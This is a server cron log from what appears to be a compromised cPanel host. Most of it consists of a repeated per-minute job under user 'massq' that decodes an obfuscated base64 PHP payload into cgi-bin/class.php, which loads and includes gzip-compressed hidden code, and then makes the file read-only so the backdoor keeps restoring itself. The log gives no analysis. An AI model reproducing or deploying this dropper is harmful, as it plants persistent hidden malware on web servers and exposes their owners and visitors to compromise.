Sep  8 22:04:01 server CROND[23606]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:04:01 server CROND[23608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:04:01 server CROND[23607]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:05:01 server CROND[23981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:05:01 server CROND[23983]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 22:05:01 server CROND[23987]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 22:05:01 server CROND[23988]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 22:05:01 server CROND[23985]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:05:01 server CROND[23990]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 22:05:01 server CROND[23989]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:05:01 server CROND[23986]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 22:06:01 server CROND[24919]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:06:01 server CROND[24920]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:06:01 server CROND[24921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:07:01 server CROND[25295]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:07:01 server CROND[25296]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:07:01 server CROND[25297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:08:01 server CROND[25660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:08:01 server CROND[25661]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:08:01 server CROND[25662]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:09:01 server CROND[26041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:09:01 server CROND[26042]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 22:09:01 server CROND[26043]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:09:01 server CROND[26045]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:10:01 server CROND[26432]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 22:10:01 server CROND[26435]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:10:01 server CROND[26437]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 22:10:01 server CROND[26438]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:10:01 server CROND[26439]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 22:10:01 server CROND[26440]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 22:10:01 server CROND[26446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:10:01 server CROND[26442]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 22:11:01 server CROND[27356]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:11:01 server CROND[27358]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:11:01 server CROND[27357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:12:01 server CROND[27736]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:12:01 server CROND[27738]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 22:12:01 server CROND[27737]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:12:01 server CROND[27739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:13:01 server CROND[28163]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:13:01 server CROND[28164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:13:01 server CROND[28165]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:14:01 server CROND[28535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:14:01 server CROND[28537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:14:01 server CROND[28538]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:15:01 server CROND[28916]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 22:15:01 server CROND[28918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:15:01 server CROND[28921]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  8 22:15:01 server CROND[28922]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 22:15:01 server CROND[28926]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:15:01 server CROND[28927]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 22:15:01 server CROND[28924]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k="